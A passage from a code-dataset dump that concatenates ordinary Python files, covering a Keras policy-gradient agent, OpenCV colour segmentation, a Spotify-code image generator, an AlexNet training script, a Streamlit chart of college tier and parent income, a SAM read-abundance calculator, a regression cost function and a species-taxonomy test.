Sequential\nfrom keras.optimizers import Adam\n\nEPISODES = 1000\nPROJECT_PATH = os.path.dirname(os.getcwd())\n\n\n# This is Policy Gradient agent for the Cartpole\n# In this example, we use REINFORCE algorithm which uses monte-carlo update rule\nclass REINFORCEAgent:\n def __init__(self, state_size, action_size):\n # if you want to see Cartpole learning, then change to True\n self.load_model = False\n # get size of state and action\n self.state_size = state_size\n self.action_size = action_size\n\n # These are hyper parameters for the Policy Gradient\n self.discount_factor = 0.99\n self.learning_rate = 0.0001\n self.hidden1, self.hidden2 = 512, 256\n\n # create model for policy network\n self.model = self.build_model()\n\n # lists for the states, actions and rewards\n self.states, self.actions, self.rewards = [], [], []\n\n if self.load_model:\n self.model.load_weights(PROJECT_PATH + \"/Practice/cartpole_reinforce.h5\")\n\n # approximate policy using Neural Network\n # state is input and probability of each action is output of network\n def build_model(self):\n model = Sequential()\n model.add(Dense(self.hidden1, input_dim=self.state_size, activation='relu', kernel_initializer='glorot_uniform'))\n model.add(Dense(self.hidden2, activation='relu', kernel_initializer='glorot_uniform'))\n model.add(Dense(self.action_size, activation='softmax', kernel_initializer='glorot_uniform'))\n model.summary()\n model.compile(loss=\"categorical_crossentropy\", optimizer=Adam(lr=self.learning_rate))\n return model\n\n # using the output of policy network, pick action stochastically\n def get_action(self, state):\n policy = self.model.predict(state, batch_size=1).flatten()\n # 从np.arange(self.action_size)中产生一个非标准的size为1的随机采样\n return np.random.choice(self.action_size, 1, p=policy)[0]\n\n # In Policy Gradient, Q function is not available.\n # Instead agent uses sample returns for evaluating policy\n def discount_rewards(self, rewards):\n discounted_rewards = np.zeros_like(rewards)\n running_add = 0\n for t in reversed(range(0, len(rewards))):\n running_add = running_add * self.discount_factor + rewards[t]\n discounted_rewards[t] = running_add\n return discounted_rewards\n\n # save of each step\n def append_sample(self, state, action, reward):\n self.states.append(state)\n self.rewards.append(reward)\n self.actions.append(action)\n\n # update policy network every episode\n def train_model(self):\n episode_length = len(self.states)\n\n discounted_rewards = self.discount_rewards(self.rewards)\n discounted_rewards -= np.mean(discounted_rewards)\n discounted_rewards /= np.std(discounted_rewards)\n\n update_inputs = np.zeros((episode_length, self.state_size))\n advantages = np.zeros((episode_length, self.action_size))\n\n for i in range(episode_length):\n update_inputs[i] = self.states[i]\n advantages[i][self.actions[i]] = discounted_rewards[i]\n\n self.model.fit(update_inputs, advantages, epochs=1, verbose=2)\n self.states, self.actions, self.rewards = [], [], []\n\n def load_data(self):\n pkl_file = open(PROJECT_PATH + '/Practice/tweet_vec_list_train.pkl', 'rb')\n # The length of data is 56, the type is 'list'\n train_list = pickle.load(pkl_file)\n\n return train_list\n\n\nif __name__ == \"__main__\":\n # get size of state and action from environment\n state_size = 300\n action_size = 2\n # make REINFORCE agent\n agent = REINFORCEAgent(state_size, action_size)\n # load data\n train_list = agent.load_data()\n\n count = 0\n ii = 0\n while ii < 200:\n ii += 1\n for topic_item in train_list:\n if topic_item['topid'] == 'MB254' \\\n or topic_item['topid'] == 'MB425' \\\n or topic_item['topid'] == 'MB419' \\\n or topic_item['topid'] == 'RTS19':\n continue\n\n count += 1\n print(\"epoch:\", ii, \"|| topic count ======>\", count)\n tweet_list_len = len(topic_item['tweet_list_info'])\n for num in range(tweet_list_len):\n # The current state 's'\n s = ((topic_item['tweet_list_info'])[num])['tweet_vec']\n\n done = False\n score = 0\n state = np.reshape(s, [1, state_size])\n\n # get action for the current state and go one step in environment\n action = agent.get_action(state)\n # next_state, reward, done, info = env.step(action)\n if num == (tweet_list_len - 1):\n done = True\n\n reward = float(((topic_item['tweet_list_info'])[num])['relevance']) / 2\n\n # save the sample to the memory\n agent.append_sample(state, action, reward)\n\n if done:\n # every episode, agent learns from sample returns\n agent.train_model()\n\n # save the model\n agent.model.save_weights(PROJECT_PATH + \"/Practice/cartpole_reinforce.h5\")\n\n\n\n\n\n","sub_path":"keras_practice/Practice/PG_Dense.py","file_name":"PG_Dense.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"43974937","text":"import cv2\nimport numpy as np\n\n\n# Para usar segmentate en otro archivo usa el import\n# from DetectarLinea import segmentate\n\ndef segmentate(img):\n cv2.imshow('antes',img[:,:,2])\n\n cv2.waitKey(0)\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n # Tengo que intentar hacerlo en RGB\n\n blue_low = np.array([100, 50, 50], dtype=np.uint8)\n blue_high = np.array([110, 255, 255], dtype=np.uint8)\n\n mask_blue = cv2.inRange(hsv, blue_low, blue_high)\n\n red_low = np.array([0, 100, 100], dtype=np.uint8)\n red_high = np.array([30, 255, 255], dtype=np.uint8)\n\n mask_red = cv2.inRange(hsv, red_low, red_high)\n\n mask_green_1 = cv2.bitwise_not(mask_blue)\n mask_green_2 = cv2.bitwise_not(mask_red)\n\n img[mask_green_1 == 255] = [0, 255, 0]\n img[mask_green_2 == 255] = [0, 255, 0]\n img[mask_blue == 255] = [255, 0, 0]\n img[mask_red == 255] = [0, 0, 255]\n return img\n\n'''\ncap = cv2.VideoCapture('line0.mp4') # 'line0.mp4'\n\nwhile (1):\n\n _, img = cap.read()\n\n img = segmentate(img)\n\n cv2.imshow('imagen modificada', img)\n tecla = cv2.waitKey(5) & 0xFF\n if tecla == 27:\n break\n\ncv2.destroyAllWindows()\n'''\nim = cv2.imread('../src/segmentacion/codigo_alumnos/lineaNoMarcada-1.png')\n\nimseg = segmentate(im)\n\ncv2.imshow('m',imseg)\ncv2.imwrite('../src/segmentacion/codigo_alumnos/imagen.png',imseg)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"AdriData/DetectarLinea.py","file_name":"DetectarLinea.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"597260716","text":"import os\nimport sys\nimport io\n\nimport urllib.request\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom PIL import Image\n\nurl = \"\"\nuri = \"\"\nimagePath = \"\"\noutputPath = \"\"\noutputName = \"\"\n\nwindow = tk.Tk()\n\nurlEntryFrame = tk.Frame()\nurlLabel = tk.Label(master=urlEntryFrame, text=\"Spotify Track URL:\")\nurlEntry = tk.Entry(master=urlEntryFrame, width=100)\n\nimgEntryFrame = tk.Frame()\nimgLabel = tk.Label(master=imgEntryFrame, text=\"Album Art:\")\nimgButton = tk.Button(master=imgEntryFrame, text=\"Upload File\")\n\noutputDirectoryFrame = tk.Frame()\noutputLabel = tk.Label(master=outputDirectoryFrame, text=\"Output Directory:\")\noutputButton = tk.Button(master=outputDirectoryFrame, text=\"Select Folder\")\n\noutputLabelFrame = tk.Frame()\noutputNameLabel = tk.Label(master=outputLabelFrame, text=\"Output File Name:\")\noutputNameEntry = tk.Entry(master=outputLabelFrame, width=50)\n\nsubmitButton = tk.Button(text=\"Generate Image\")\n\ndef handle_upload(event=None):\n global imagePath\n imagePath = str(filedialog.askopenfilename())\n print(\"Selected: \" + imagePath)\n\ndef handle_search(event=None):\n global outputPath\n outputPath = str(filedialog.askdirectory())\n print(\"Selected: \" + outputPath)\n \ndef handle_submit(event):\n url = urlEntry.get()\n print(\"URL: \" + url)\n indexStart = url.find(\"/\", 30)\n indexEnd = url.find(\"?\", 30)\n uri = \"https://scannables.scdn.co/uri/plain/jpeg/000000/white/1200/spotify:track:\" + url[indexStart + 1 : indexEnd]\n print(\"URI: \" + uri)\n urlEntry.delete(0, tk.END)\n outputName = outputNameEntry.get()\n print(\"Output File: \" + outputPath + \"/\" + outputName + \".png\")\n outputNameEntry.delete(0, tk.END)\n\n print(imagePath)\n print(outputPath)\n\n new = Image.new(\"RGBA\", (1200,1590))\n\n art = Image.open(str(imagePath))\n art = art.resize((1200,1200))\n\n urllib.request.urlretrieve(uri, \"code.jpeg\")\n code = Image.open(\"code.jpeg\")\n code = code.resize((1200,300))\n\n rect = Image.new('RGB', (1200,45), \"black\")\n\n new.paste(art, (0,0))\n new.paste(rect, (0,1200))\n new.paste(code, (0,1245))\n new.paste(rect, (0,1545))\n new.save(outputPath + \"/\" + outputName + \".png\")\n\n imgButton.configure(relief= 'groove')\n outputButton.configure(relief= 'groove')\n submitButton.configure(relief= 'groove')\n\n os.remove(\"code.jpeg\")\n\n\ndef loadUI():\n urlEntryFrame.grid(row=0, column=0, pady=10)\n urlLabel.grid(row=0)\n urlEntry.grid(row=1, column=0)\n\n imgEntryFrame.grid(row=1, column=0, pady=10)\n imgLabel.grid(row=0, column=0, padx=10)\n imgButton.configure(relief= 'groove')\n imgButton.bind(\"\", handle_upload)\n imgButton.grid(row=0, column=1)\n\n outputDirectoryFrame.grid(row=2, column=0, pady=10)\n outputLabel.grid(row=0, column=0, padx=10)\n outputButton.configure(relief= 'groove')\n outputButton.bind(\"\", handle_search)\n outputButton.grid(row=0, column=1)\n\n outputLabelFrame.grid(row=3, column=0)\n outputNameLabel.grid(row=0, column=0, sticky=\"w\")\n outputNameEntry.grid(row=0, column=1)\n\n submitButton.bind(\"\", handle_submit)\n submitButton.grid(row=4, column=0, pady=20)\n submitButton.configure(relief= 'groove')\n\ndef run():\n loadUI()\n window.mainloop()\n\nrun()","sub_path":"imageGen.py","file_name":"imageGen.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"433281743","text":"import time\nimport torch\nfrom torch import nn, optim\nimport torchvision\nimport d2lzh_pytorch as d2l\nimport torch.utils.data\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\nclass AlexNet(nn.Module):\n def __init__(self):\n super(AlexNet, self).__init__()\n self.conv = nn.Sequential(nn.Conv2d(1, 96, 11, 4), nn.ReLU(), nn.MaxPool2d(3, 2), nn.Conv2d(96, 256, 5, 1, 2),\n nn.ReLU(), nn.MaxPool2d(3, 2), nn.Conv2d(256, 384, 3, 1, 1), nn.ReLU(),\n nn.Conv2d(384, 384, 3, 1, 1), nn.ReLU(), nn.Conv2d(384, 256, 3, 1, 1), nn.ReLU(),\n nn.MaxPool2d(3, 2))\n self.fc = nn.Sequential(nn.Linear(256 * 5 * 5, 4096), nn.ReLU(), nn.Dropout(0.5), nn.Linear(4096, 4096),\n nn.ReLU(), nn.Dropout(0.5), nn.Linear(4096, 10))\n\n def forward(self, img):\n feature = self.conv(img)\n output = self.fc(feature.view(feature.shape[0], -1))\n return output\n\n\n# print(torch.__version__)\nnet = AlexNet()\n\n\n# print(net)\ndef load_data_fashion_mnist(batch_size, resize = None, root = '~/Datasets/FashionMNIST'):\n trans = []\n if resize:\n trans.append(torchvision.transforms.Resize(resize))\n trans.append(torchvision.transforms.ToTensor())\n transform = torchvision.transforms.Compose(trans)\n mnist_train = torchvision.datasets.FashionMNIST(root = root, train = True, download = True, transform = transform)\n mnist_test = torchvision.datasets.FashionMNIST(root = root, train = False, download = True, transform = transform)\n train_iter = torch.utils.data.DataLoader(mnist_train, batch_size = batch_size, shuffle = True, num_workers = 4)\n test_iter = torch.utils.data.DataLoader(mnist_test, batch_size = batch_size, shuffle = False, num_workers = 4)\n return train_iter, test_iter\n\n\nbatch_size = 128\ntrain_iter, test_iter = load_data_fashion_mnist(batch_size, resize = 224)\nlr, num_epochs = 0.001, 5\noptimizer = optim.Adam(net.parameters(), lr = lr)\nd2l.train_ch5(net, train_iter, test_iter, batch_size, optimizer, device, num_epochs)\n","sub_path":"chap5.6.py","file_name":"chap5.6.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"478421098","text":"import torch\n\nfrom data_loader import ClassDatasets, ConceptSets\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\nfrom model import DeVise, model_epoch\nimport utils\n\nfrom os.path import join as PJ\nimport yaml\nfrom tensorboardX import SummaryWriter\nimport numpy as np\nimport pandas as pd\n\nglobal DEVICE\nDEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nif __name__ == '__main__':\n\n # load config\n CONFIG = yaml.load(open(\"devise.yaml\"))\n\n EXP_NAME = CONFIG['exp_name'] + '_' + CONFIG['type']\n DATASET = CONFIG['dataset']\n CONCEPTS = CONFIG['concepts']\n\n # state\n STATE = {\n 'dataset': DATASET,\n 'mode': 'train_test',\n 'split_list': ['trainval',\n 'test_seen', 'test_unseen']\n }\n\n # load\n print(\"load data\")\n\n concepts = ConceptSets(STATE, CONCEPTS)\n datasets = ClassDatasets(STATE)\n\n if CONFIG['skewness']:\n print(DATASET + \" skewness:\")\n for tn in STATE['split_list']:\n df = datasets[tn].data.iloc[:, 1:].sum(axis=0)\n print(tn + \": \" + str(df[df > 0].skew()))\n\n train_loader = DataLoader(datasets['trainval'],\n batch_size=CONFIG['train_batch_size'], shuffle=True)\n\n test_loaders = {tn: DataLoader(datasets[tn],\n batch_size=CONFIG['test_batch_size'], shuffle=False)\n for tn in STATE['split_list'][1:]}\n\n ##########################################################################################\n # experiment for n times\n for exp_times in range(CONFIG['exp_times']):\n\n SAVE_PATH = PJ('.', 'runs_test', DATASET, EXP_NAME, str(exp_times))\n writer = SummaryWriter(PJ(SAVE_PATH))\n\n # set experiment type: classifier / transformer\n model = DeVise(backbone=CONFIG['model'], d=CONFIG['d'][CONFIG['concepts']][DATASET],\n pretrained=CONFIG['pretrained'], freeze=CONFIG['freeze'])\n\n # load model weight\n if CONFIG['load_model']:\n print(\"Loading pretrained model\")\n state = torch.load(PJ(SAVE_PATH, 'best_result.pkl'))\n\n # load model epoch\n CONFIG['start_epoch'] = state['epoch']\n assert CONFIG['end_epoch'] > CONFIG['start_epoch'], \\\n (\"The start epoch is {}, and the end epoch is smaller than start epoch.\", state['epoch'])\n\n # load model parameter\n model.load_state_dict(state['state_dict'])\n\n model = model.to(DEVICE)\n\n # optim setting\n params = [{\n 'params': model.transform.parameters() if CONFIG['freeze'] else model.parameters()\n }]\n\n if CONFIG['optim'] == 'SGD':\n optimizer = optim.SGD(params, float(CONFIG['l_rate']), momentum=CONFIG['momentum'])\n\n elif CONFIG['optim'] == 'Adam':\n optimizer = optim.Adam(params, float(CONFIG['l_rate']))\n\n else:\n assert False, \"Must Assign the optimizer type: SGD or Adam.\"\n\n if CONFIG['load_model']:\n optimizer.load_state_dict(state['optimizer'])\n\n # optim scheduler\n scheduler = None\n if CONFIG['type'] == \"transformer\":\n scheduler = optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.99)\n\n # record best result\n BEST_RESULT = {\n \"h_acc\": 0,\n \"epoch\": 0\n }\n\n for epoch in range(CONFIG['start_epoch'], CONFIG['end_epoch']):\n\n # train\n train_metrics = model_epoch(loss_name=\"trainval\", epoch=epoch,\n model=model, type=CONFIG['type'], neg_sample=CONFIG['neg_sample'],\n data_loader=train_loader, concepts=concepts, use_smooth=False, margin=0.1,\n optimizer=optimizer, writer=writer, debug=CONFIG['debug'])\n\n for g in [False, True]:\n record_name = 'train_g' if g else 'train'\n train_class, train_acc = utils.cal_acc(train_metrics, g)\n writer.add_scalar(record_name + '_acc', train_acc * 100, epoch)\n\n if CONFIG['skewness']:\n train_skew = utils.skewness(train_metrics, g)\n writer.add_scalar(record_name + '_skewness', train_skew, epoch)\n\n ######################################################################################\n # test\n record = {tn: {'acc': 0.0, 'class': None} for tn in STATE['split_list'][1:]}\n record.update({tn + '_g': {'acc': 0.0, 'class': None} for tn in STATE['split_list'][1:]})\n\n for tn in STATE['split_list'][1:]:\n\n test_metric = model_epoch(loss_name=tn, epoch=epoch,\n model=model, type=CONFIG['type'],\n data_loader=test_loaders[tn], concepts=concepts,\n optimizer=optimizer, writer=writer, debug=CONFIG['debug'])\n\n for g in [False, True]:\n test_class, test_acc = utils.cal_acc(test_metric, g)\n record_name = tn + '_g' if g else tn\n record[record_name]['acc'] = test_acc\n record[record_name]['class'] = test_class\n\n writer.add_scalar(record_name + '_acc', test_acc * 100, epoch)\n\n if CONFIG['skewness']:\n test_skew = utils.skewness(test_metric, g)\n writer.add_scalar(record_name + '_skewness', test_skew, epoch)\n\n tmp_h_acc = utils.cal_h_acc(record, True)\n writer.add_scalar('H_acc', 100 * tmp_h_acc, epoch)\n\n ######################################################################################\n # record best result\n if tmp_h_acc > BEST_RESULT['h_acc']:\n BEST_RESULT['h_acc'] = tmp_h_acc\n BEST_RESULT['epcoh'] = epoch\n\n save_state = {\n 'epoch': epoch,\n 'h_acc': tmp_h_acc,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict()\n }\n\n torch.save(save_state, PJ(SAVE_PATH, 'best_result.pkl'))\n\n if scheduler:\n scheduler.step()\n\n","sub_path":"devise.py","file_name":"devise.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"462222782","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport altair as alt\nimport datetime\nimport seaborn as sns\nimport matplotlib.animation as ani\n#st.markdown(\"

Your Household Income and Your Future?

\", unsafe_allow_html=True)\n\nopening_paragraph = \"\"\"\n Are children from households with higher income more likely to earn more in their adulthood? \n Typically, household income determines the types of opportunities that are available to a child.\n Does household income also affect the types of colleges that kids get into?\"\"\" \n\nfirst_paragraph = \"\"\"In the US, children from high income families tend to attend more prestigious colleges. The mean income \n of households varies significantly between high ranking and low ranking colleges. The mean income of parents of\n kids in Ivy League schools is significantly higher than those of non-selective and even two year colleges. College data from 1999 to 2003 \n shows that mean parent income in Ivy Leagues is around $430000 while that of Two year for-profit colleges is around $63000\"\"\"\n\n\n\n# Can we, perhaps have a viz that shows household income distribution for various college tiers. \ndf = pd.read_csv(\"/content/drive/MyDrive/mrc_table2.csv\")\ndf_reduced = df[['name', 'type', 'tier', 'tier_name', 'iclevel', 'par_mean', 'par_median', 'par_rank', 'k_mean', 'k_median', 'k_rank', 'k_median_nozero', 'k_0inc', 'k_q1', 'k_q2', 'k_q3', 'k_q4', 'k_q5']]\ndf_reduced_par = df_reduced[['tier_name', 'par_mean', 'par_median', 'par_rank', 'k_q1', 'k_q2', 'k_q3', 'k_q4', 'k_q5']]\n\ndf_reduced_par_cum = df_reduced_par.groupby(df['tier_name']).mean()\ndf_reduced_par_cum = df_reduced_par_cum.drop('Attending college with insufficient data')\ndf_reduced_par_cum = df_reduced_par_cum.drop('Not in college between the ages of 19-22')\ndf_reduced_par_cum = df_reduced_par_cum.reset_index()\ndf_reduced_par_cum['College Tier'] = df_reduced_par_cum['tier_name']\ndf_reduced_par_cum['Mean Parent Income in $'] = (df_reduced_par_cum['par_mean']).astype(int)\n\ndf_reduced_par_cum['First Quintile'] = df_reduced_par_cum['k_q1'] * 100\ndf_reduced_par_cum['Second Quintile'] = df_reduced_par_cum['k_q2'] * 100\ndf_reduced_par_cum['Third Quintile'] = df_reduced_par_cum['k_q3'] * 100\ndf_reduced_par_cum['Fourth Quintile'] = df_reduced_par_cum['k_q4'] * 100\ndf_reduced_par_cum['Fifth Quintile'] = df_reduced_par_cum['k_q5'] * 100\n\nbrush = alt.selection_single()\n\npar_college_tier = alt.Chart(df_reduced_par_cum).mark_bar().encode(\n alt.X('tier_name:N', title=' ' , sort='-y', axis=alt.Axis(labels=False)),\n alt.Y('par_mean:Q', title='Mean Yearly Income of Parents in $'), tooltip=['College Tier', 'Mean Parent Income in $'], color=alt.Color(\n \"College Tier:N\",\n legend=None)\n ).interactive().properties(height=400, width=600, title=\"Mean Yearly Income of Parents for Each College Tier\").add_selection(\n brush\n)\n\n\n\npar_income_dist = alt.Chart(df_reduced_par_cum).transform_fold(\n ['First Quintile', 'Second Quintile', 'Third Quintile', 'Fourth Quintile', 'Fifth Quintile'],\n as_=['Quintile', 'Percentage of Parents']\n).mark_bar().encode(\n x=alt.X('Percentage of Parents:Q'),\n y=alt.Y('Quintile:N', sort=['Fifth Quintile', 'Fourth Quintile', 'Third Quintile', 'Second Quintile', 'First Quintile' ]), color='Quintile:N'\n).transform_filter(\n brush).properties(height=100, width=600, title=\"Percentage of Parents in Each Income Quintile\")\n\n\n\nfirst_paragraph_cont = \"\"\"The percentage of students from the lowest income quintile that attend Ivy League Colleges are also low\"\"\"\n\n\n\n\n\n\n\n\n\nsecond_paragraph = \"\"\"Sadly, the type of colleges attended impacts what would be earned in adulthood. Graduates of top-tier colleges are likely\n to earn more than graduates of lower-tier colleges. The median income of graduates from colleges reduces with the college tier reduces \"\"\"\n\n#Can we have a viz that shows median income of college graduates based on college tier\nsecond_paragraph_cont = \"\"\"How likely, then, is a child from a low income household to move up the income ladder?\"\"\"\n\n#Perhaps a viz that starts from a node and spreads out to the various income percentile\n\nthird_paragraph = \"\"\"Does college length also matter? How do graduate earnings from 2 and 3-year colleges compare to earnings from 4-year colleges?\"\"\"\n\n#Can we have a chart that shows income distribution of graduates from these college types here?\n\nthird_paragraph_cont = \"\"\"But 2 and 3 year colleges tend to have more kids from lower income households\"\"\"\n#Can we have some sort of viz for this? Say something than branches out from low income households to college duration\n\n\nfourth_paragraph = \"\"\"But what can we do to ensure that kids from households with higher incomes can earn as much as those from lower income households\"\"\"\n\n\n#Ki la le se??? -- What can we do?\n\nfifth_paragraph = \"\"\"To change the narrative, colleges can consider:\n \"\"\"\n\nfifth_paragraph_cont = \"\"\"1. Extending student recruitment and info sessions to students from low income and disadvantaged communities.\"\"\"\nfifth_paragraph_cont_1 = \"\"\"2. Reducing legacy admissions and benefits for incoming students\"\"\"\n\nst.title(\"Intergenerational Mobility and US Colleges\")\nst.write(\"\\n\\n\\n\\n\\n\\n\")\nst.write(opening_paragraph)\nst.write(first_paragraph)\nst.write(par_college_tier & par_income_dist)\n\nst.write(second_paragraph)\n\nst.write(second_paragraph_cont)\n\nst.write(third_paragraph)\n\nst.write(third_paragraph_cont)\n\nst.write(fourth_paragraph)\n\nst.write(fifth_paragraph)\nst.write(fifth_paragraph_cont)\nst.write(fifth_paragraph_cont_1)\n\n#Can we simulate an ideal scenario? How can colleges restructure student recruitment events? Predict-observe(-explain) could work here\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"622974459","text":"#! /usr/bin/env python\n\nimport getopt, sys\nimport redis\n\nfrom collections import Counter\n\ndef ras_line(l):\n return l.strip().split(\"\\t\")\n\ndef CIGAR_parser(s):\n d = {}\n i = 0\n while i < len(s):\n for j in range(i+1, len(s)):\n if s[j] in ('M','I','D','N','S','H','P','=','X'):\n if s[j] in d:\n d[s[j]] +=int(s[i:j])\n else:\n d[s[j]] = int(s[i:j])\n i = j+1\n break\n\n return d\n\n\ndef sam2count(samfile, minid):\n rc = Counter()\n with open(samfile, \"r\") as fi:\n for line in fi:\n o = ras_line(line)\n if o[0][0] !=\"@\" and o[2][-1] != \"*\" and o[5][-1] != \"*\":\n cigar = CIGAR_parser(o[5])\n if cigar['M'] >=int(minid*sum(cigar.values())):\n rc[o[2]] +=0.5\n rcf = {}\n for gene in rc:\n if rc[gene]>=1: #filter out low confident hits\n rcf[gene] = rc[gene]\n #print(gene + '\\t' + str(rcf[gene]))\n return rcf\n\n\ndef count2rpk(rc, lenprof):\n rpk = {}\n for gene in rc.keys():\n v = rc[gene]/float(lenprof[gene])\n rpk[gene]=v*1000 #per kilobase\n return rpk\n\ndef rpk2tpm(rpk):\n totalRPK =sum(rpk.values())\n\n totalRPK = totalRPK/1000000.0# normalize to 1M to get the scaling factor\n\n abunTable = {}\n for gene in rpk:\n abunTable[gene] = rpk[gene]/totalRPK\n\n \n return abunTable\n\ndef readGeneLength(genelengthfile):\n res = {}\n with open(genelengthfile,'r') as fh:\n for line in fh:\n line = line.strip()\n items = line.split('\\t')\n res[items[0]] = items[1]\n return res\n\ndef main():\n #-----parse arguments from inputs------------\n try:\n options, remainder = getopt.getopt(sys.argv[1:],\"\", ['sam=','genelength=', 'min_identity='])\n except getopt.GetoptError as err:\n print (err)\n sys.exit(2)\n\n samfile=''\n minIdentity = 0.95\n\n for op,value in options:\n if op=='--sam':\n samfile=value\n elif op=='--genelength':\n genelengthfile = value\n elif op=='--min_identity':\n minIdentity = float(value)\n else:\n print(\"sam2qha transforms a sam file produced by aligners to a binary abundance file.\\nUsage: python sam2abund.py --sam samfile --genelength --min_identity required minimum identity (0-1) of a read to the reference, default 0.95\")\n sys.exit()\n\n\n\n #---------------sam 2 readcount------------\n readCount = sam2count(samfile, minIdentity)\n \n\n print(\"Successfully calculated read counts.\")\n\n #---------fetch gene length from Redis server------------\n\n geneLengths = readGeneLength(genelengthfile)\n print(\"Successfully fetched gene length profile from redis.\")\n\n #--------------readcount 2 abundance--------------\n RPK = count2rpk(readCount, geneLengths)\n abunTable = rpk2tpm(RPK)\n print(\"Successfully calculated relative abundance for each gene.\")\n fh1 = open(samfile.split('.')[0] + '.readCount.txt','w')\n fh2 = open(samfile.split('.')[0] + '.tpm.txt','w')\n genes = readCount.keys()\n for gene in genes:\n fh1.write(gene + '\\t' + str(readCount[gene]) + '\\n')\n fh2.write(gene + '\\t' + str(100*abunTable[gene]) + '\\n')\n fh1.close()\n fh2.close()\n\n\nif __name__==\"__main__\":\n\tmain()\n\n\n#------------------------\n","sub_path":"Step--sample_gene_abundance/sam2abund.py","file_name":"sam2abund.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"573829318","text":"# Uses python3\nimport sys\n\ndef dp_sequence(n):\n l = [0]*(n+1)\n num = [0]*(n+1)\n\n l[0] = 0\n num[0] = 0\n\n l[1] = 0\n num[1] = 0\n #l[2] = 1\n #l[3] = 1\n\n for i in range(1, n+1):\n if i == 1:\n continue\n\n t1 = l[i-1] + 1\n min_val = t1\n choice = i-1\n\n if i % 3 == 0:\n # divisible by 3\n t3 = l[int(i/3)] + 1\n min_val = min(min_val, t3)\n if min_val == t3:\n choice = int(i/3)\n \n if i%2 == 0:\n # divisible by 2\n t2 = l[int(i/2)] + 1\n min_val = min(min_val, t2)\n if min_val == t2:\n choice = int(i/2)\n\n l[i] = min_val\n num[i] = choice\n\n # build the sequence in reverse order\n seq = []\n temp = n\n while temp > 0:\n seq.append(temp)\n temp = num[temp]\n\n seq.reverse()\n #print()\n #print(l)\n #print(num)\n #print(seq)\n #print(l)\n return seq\n\ndef optimal_sequence(n):\n sequence = []\n while n >= 1:\n sequence.append(n)\n if n % 3 == 0:\n n = n // 3\n elif n % 2 == 0:\n n = n // 2\n else:\n n = n - 1\n return reversed(sequence)\n\ninput = sys.stdin.read()\nn = int(input)\n#sequence = list(optimal_sequence(n))\n#print(len(sequence) - 1)\n#for x in sequence:\n# print(x, end=' ')\n#\n#print(\"DP: %d\" % (dp_sequence(n)))\nsequence = list(dp_sequence(n))\nprint(len(sequence) - 1)\nfor x in sequence:\n print(x, end=' ')\n\nprint()\n","sub_path":"python/dp/primitive_calculator.py","file_name":"primitive_calculator.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"534714751","text":"import numpy as np\n\n\ndef linear_reg_cost_function(theta, x, y, lmd):\n # Initialize some useful values\n m = y.shape[0]\n \n # You need to return the following variables correctly\n cost = 0\n grad = np.zeros(theta.shape)\n # ===================== Your Code Here =====================\n # Instructions : Compute the cost and gradient of regularized linear\n # regression for a particular choice of theta\n #\n # You should set 'cost' to the cost and 'grad'\n # to the gradient\n #\n # ==========================================================\n c = np.ones(len(theta))\n c[0]=0\n theta_c = c*theta\n \n g= np.dot(x , theta.T)\n cost = (np.sum((g-y)**2)+lmd*np.sum(theta_c**2))/(2*m)\n \n grad = (np.dot((g-y).T,x)+lmd*theta_c)/m\n \n return cost, grad\n","sub_path":"machine-learning-ex5/ex5/linearRegCostFunction.py","file_name":"linearRegCostFunction.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"494922009","text":"\"\"\"Test the GBIF and ITIS taxonomic resolution provided in the US-RIIS table.\"\"\"\nfrom bison.common.constants import (DATA_PATH, ERR_SEPARATOR, LINENO_FLD, LOG, RIIS_SPECIES)\nfrom bison.common.riis import NNSL\nfrom bison.tools.util import logit, get_logger\n\n\nclass TestRIISTaxonomy(NNSL):\n \"\"\"Class for testing input authority and species files.\"\"\"\n\n # .............................................................................\n def __init__(self, base_path, test_fname=None, logger=None):\n \"\"\"Constructor sets the authority and species files and headers expected for BISON-RIIS processing.\n\n Args:\n base_path (str): base file path for project execution\n test_fname (str): RIIS file with fewer records for testing\n logger (object): logger for writing messages to file and console\n \"\"\"\n NNSL.__init__(self, base_path, test_fname=test_fname, logger=logger)\n\n # ...............................................\n def test_taxonomy_keys(self):\n \"\"\"Test whether any records contain non-integer GBIF taxonKeys or ITIS TSNs.\"\"\"\n logit(self._log, \"*** test_taxonomy_keys ***\")\n if self.bad_species is None:\n self.read_riis(read_resolved=False)\n for k, v in self.bad_species.items():\n logit(self._log, \"{} {}\".format(k, v))\n assert len(self.bad_species) == 0\n\n # ...............................................\n def test_duplicate_name_localities(self):\n \"\"\"Test whether any full scientific names have more than one record for a locality.\"\"\"\n logit(self._log, \"*** test_duplicate_name_localities ***\")\n err_msgs = []\n if self.nnsl_by_species is None:\n self.read_riis(read_resolved=False)\n\n for sciname, reclist in self.nnsl_by_species.items():\n count = len(reclist)\n i = 0\n while i < count:\n j = i + 1\n while j < count:\n rec1 = reclist[i]\n rec2 = reclist[j]\n if rec1.is_duplicate_locality(rec2):\n 